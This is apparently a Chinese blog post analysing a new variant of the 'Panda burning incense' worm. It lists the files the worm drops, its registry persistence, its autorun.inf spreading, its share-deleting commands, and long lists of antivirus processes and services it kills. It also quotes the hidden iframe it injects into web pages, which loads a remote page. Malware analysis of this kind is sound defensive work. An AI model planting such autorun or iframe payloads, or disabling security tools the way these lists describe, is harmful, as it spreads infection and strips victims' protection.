=.= 从cisrt 回来写完博客..群里狮子就说 krvkr 还在更新新熊猫..自己跑去看看还真滴..继续写分析.
运行样本..
释放文件
C:\WINDOWS\system32\drivers\ncscv32.exe
创建启动项
[software\microsoft\windows\currentversion\run]
"nvscv32"="C:\WINDOWS\system32\drivers\ncscv32.exe"
修改 显示文件和文件夹 注册表
[software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall]
"checkedvalue"=dword:00000000
所有根目录及移动存储生成
X:\setup.exe
X:\autorun.inf
[AutoRun]
open=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
使用命令关闭共享
cmd.exe /c net share X$ /del /y
cmd.exe /c net share admin$ /del /y
尝试关闭窗口
天网
防火墙
virusscan
symantec antivirus
system safety monitor
system repair engineer
wrapped gift killer
游戏木马检测大师
超级巡警
尝试关闭进程
mcshield.exe
vstskmgr.exe
naprdmgr.exe
updaterui.exe
tbmon.exe
scan32.exe
ravmond.exe
ccenter.exe
ravtask.exe
rav.exe
ravmon.exe
ravmond.exe
ravstub.exe
kvxp.kxp
kvmonxp.kxp
kvcenter.kxp
kvsrvxp.exe
kregex.exe
uihost.exe
trojdie.kxp
frogagent.exe
logo1_.exe
logo_1.exe
rundl132.exe
taskmgr.exe
msconfig.exe
regedit.exe
sreng.exe
结束起自家"兄弟"了
spoclsv.exe
nvscv32.exe
sppoolsv.exe
spo0lsv.exe
删除以下启动项
software\microsoft\windows\currentversion\run\ravtask
software\microsoft\windows\currentversion\run\kvmonxp
software\microsoft\windows\currentversion\run\kav
software\microsoft\windows\currentversion\run\kavpersonal50
software\microsoft\windows\currentversion\run\mcafeeupdaterui
software\microsoft\windows\currentversion\run\network associates error reporting service
software\microsoft\windows\currentversion\run\shstatexe
software\microsoft\windows\currentversion\run\ylive.exe
software\microsoft\windows\currentversion\run\yassistse
禁用以下服务
schedule
sharedaccess
rsccenter
rsravmon
rsccenter
rsravmon
kvwsc
kvsrvxp
kvwsc
kvsrvxp
kavsvc
avp
mcafeeframework
mcshield
mctaskmanager
navapsvc
sndsrvc
ccproxy
ccevtmgr
ccsetmgr
spbbcsvc
symantec core lc
npfmntor
mskservice
firesvc
搜索感染除以下目录外的所有.exe/.scr/.pif/.com/.htm/.html/.asp/.php/.jsp/.aspx文件
windows
winnt
system32
documents and settings
system volume information
recycled
windows nt
windowsupdate
windows media player
outlook express
internet explorer
netmeeting
common files
complus applications
messenger
installshield installation information
msn
microsoft frontpage
movie maker
msn gamin zone
感染时..病毒会跳过文件名为 setup.exe 和 ntdetect.com 的文件..并删除.gho文件..
在访问过的目录下生成 desktop__.ini
感染的 .exe/.scr/.pif/.com/ 文件在 头部添加:68,938 字节(病毒主体) 尾部添加:27 字节(标记信息)
感染的 .htm/.html/.asp/.php/.jsp/.aspx 网页文件 在尾部加入
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
用弱口令访问区域内的计算机(games.exe)...
病毒内留下字符
asdf
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
adsf
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
hjjjjjj
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!
杀软大都报了..
香继续烧? 还有二次大爆发? 自己"兄弟"都结束了..喜新厌旧? 二次感染?
哎..不猜了..困死了..
